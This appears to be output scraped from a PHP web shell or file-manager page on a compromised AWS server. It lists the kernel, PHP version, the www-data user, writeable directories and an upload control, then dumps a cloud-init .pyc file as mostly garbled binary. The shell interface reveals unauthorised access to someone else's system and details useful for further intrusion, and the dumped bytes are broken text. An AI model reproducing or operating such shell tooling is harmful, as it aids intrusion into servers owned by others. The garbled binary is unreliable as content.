https://t.me/RX1948
Server : nginx/1.24.0
System : Linux ip-172-31-33-48 6.14.0-1011-aws #11~24.04.1-Ubuntu SMP Fri Aug 1 02:07:25 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
Directory :  /lib/python3/dist-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/cloudinit/__pycache__/signal_handler.cpython-312.pyc
�

x[h����UddlZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
mZmZm
Z
mZddlmZddlmZej(e�ZdZeed<dZeed	<ej4d
ej6dej8diZeeeefed
<Gd�de
�Z e dejB�Z"eed<e dejF�Z$eed<e"a%ejL�Z'deee
dfddfd�Z(d�Z)d�Z*d�Z+ejXd��Z-y)�N)�StringIO)�Callable�Dict�Final�
NamedTuple�Union)�version)�log_utilz#Cloud-init {} received {}, exiting
�SIG_MESSAGE��BACK_FRAME_TRACE_DEPTHz/Cloud-init %(version)s received SIGINT, exitingz0Cloud-init %(version)s received SIGTERM, exitingz0Cloud-init %(version)s received SIGABRT, exiting�SIGNALSc�"�eZdZUeed<eed<y)�ExitBehavior�	exit_code�	log_levelN)�__name__�
__module__�__qualname__�int�__annotations__���:/usr/lib/python3/dist-packages/cloudinit/signal_handler.pyrr s���N��Nrr��SIGNAL_EXIT_BEHAVIOR_CRASH�SIGNAL_EXIT_BEHAVIOR_QUIET�sig�returnc��t|�r2t|tj�stjd|�yy|tjk(rtjd�y|�tjd�y|tjk(rtjd|�ytjdt|�|�y)z+inspect_handler() logs signal handler statez.Signal state [%s] - previously custom handler.z,Signal state [SIG_IGN] - previously ignored.Nz;Signal state [None] - previously not installed from Python.zISignal state [%s] - default way of handling signal was previously in use.zSignal state [%s(%s)] - unknown)�callable�
isinstance�types�BuiltinFunctionType�LOG�info�signal�SIG_IGN�SIG_DFL�warning�type)rs r�inspect_handlerr,+s�����}��#�u�8�8�9��H�H�E�s�K�:�	����	����?�@�	�����N�O�	����	����
!��	
�	���5�t�C�y�#�Frc�J�||kDs|sytj|�}d|dzz}|j|�d|j�d��|j|�d|j�d��|j|�d|j
�d��t
|j|dz||�y)N� �z
Filename: �
z
Function: z
Line number: r)�inspect�getframeinfo�write�filename�function�lineno�
_pprint_frame�f_back)�frame�depth�	max_depth�contents�
frame_info�prefixs      rr7r7Bs����y�����%�%�e�,�J�
�E�A�I�
�F��N�N���1D�1D�E�F��N�N���1D�1D�E�F��N�N�F�J�4E�4E�F�G��%�,�,���	�9�h�?rc��t|tj�r|jn|}t	t
j
tj�|��}t|dt|�tj|j�ttj ��t#j$tj&�y)Nr)�logr)r"r'�Signals�namerr�format�vr�version_stringr7r
r
�	multi_log�getvaluer%�_SIGNAL_EXIT_BEHAVIORr�sys�exitr)�signumr9rBr<s    r�_handle_exitrLMs���$�V�V�^�^�<�6�;�;�&�D���*�*�2�+<�+<�+>��E�F�H��%��2�H�=���������0E�0O�0O���H�H�
"�
,�
,�-rc��d}tj�D]%}ttj|t���'|tt�z
}|S)zattach cloud-init's handlersr)r�keysr,r'rL�len)�
sigs_attachedrKs  r�attach_handlersrQXsC���M��,�,�.�=����
�
�f�l�;�<�=��S��\�!�M��rc#�bK�t5tad��taddd�y#1swYyxYw�w)a$suspend_crash() allows signals to be received without exiting 1

    This allow signal handling without a crash where it is expected. The
    call stack is still printed if signal is received during this context, but
    the return code is 0 and no traceback is printed.

    Threadsafe.
    N)�_SUSPEND_WRITE_LOCKrrHrrrr�
suspend_crashrTas.����
�;� :��
� :��;�;�;�s�/�#�	/�,�/).�
contextlibr1�loggingr'rI�	threadingr#�ior�typingrrrrr�	cloudinitr	rD�
cloudinit.logr
�	getLoggerrr%rrr
�SIGINT�SIGTERM�SIGABRTrr�strr�ERRORr�INFOrrH�RLockrSr,r7rLrQ�contextmanagerrTrrr�<module>res&�����
�
����;�;�#�"��g����!��;��U�;� !���!�
�M�M�D�
�N�N�F�
�N�N�F�"���t�C��H�~�	���:��
%1��G�M�M�$B��E�B�$0��G�L�L�$A��E�A�2��%�i�o�o�'��G��s�H�d�2�3�G��G�.@�.�����;��;r

https://t.me/RX1948 - 2025